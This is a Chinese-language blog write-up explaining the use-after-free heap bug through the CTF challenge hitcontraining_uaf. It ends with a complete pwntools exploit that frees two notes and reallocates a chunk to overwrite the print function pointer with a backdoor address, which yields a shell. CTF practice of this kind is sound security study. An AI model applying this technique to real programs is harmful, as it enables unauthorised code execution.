use after free

这里开始记录堆的一些利用技巧,我认为堆的话是以各种为学习基础,在这些漏洞的基础上,去学习各种漏洞的利用和组合使用技巧,而这些漏洞中最基础的一种漏洞就是use after free.

内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。

引用wiki上的,但其实我来总结的话就是,我们free一个chunk时,如果没有将他的指针置零也就是NULL,本质上就是你只是让bins指向了这个chunk,另外还有chunk本身的指针继续指向它,我们大可利用这个指针去在这个chunk里修改数据,或者修改指向函数

这里记录一道例题buu上的 hitcontraining_uaf
image
image
main和menu没什么好说的,标准的菜单板子。
然后看到add函数
image
首先是最多5个chunk,但是这里的chunk和正常的chunk不太一样,它首先malloc了8个字节,然后指向了print_note_content,

image

其实指向的就是一个输出的意思。然后继续看,它还read了一个size,再根据size去read他的content
image

看到print函数。
image
这里就是会调用上面讲的puts可以理解为输出content。

image
这里的free没有null掉指针,有use after free漏洞。先释放了content chunk,后释放了struct chunk。
image
后门函数也是有的。

这题的思路就是利用use after free 这个漏洞,去修改print的指针去指向这个后门函数,然后得到shell。

点击查看代码
from pwn import *

io = process('./hacknote')


def addnote(size, content):
    io.recvuntil(":")
    io.sendline("1")
    io.recvuntil(":")
    io.sendline(str(size))
    io.recvuntil(":")
    io.sendline(content)


def delnote(idx):
    io.recvuntil(":")
    io.sendline("2")
    io.recvuntil(":")
    io.sendline(str(idx))


def printnote(idx):
    io.recvuntil(":")
    io.sendline("3")
    io.recvuntil(":")
    io.sendline(str(idx))

magic=0x8048945
addnote(0x24,'aaaa')
addnote(0x24,'bbbb')

delnote(0)
delnote(1)

addnote(0x8,p32(magic))
printnote(0)

io.interactive()
这里add两个结构体chunk,然后free掉

image

看bins里有两个分块,然后我们add一个0x8就是为了用0x10里的两个 chunk,这样我们就可以将1的chunk用来放新chunk的print指针和size,0的chunk用来当content用来放magic然后print一下就可以跑content这样就有shell了

posted @ 2022-07-25 05:52  REPWNER  阅读(8)  评论(0)    收藏  举报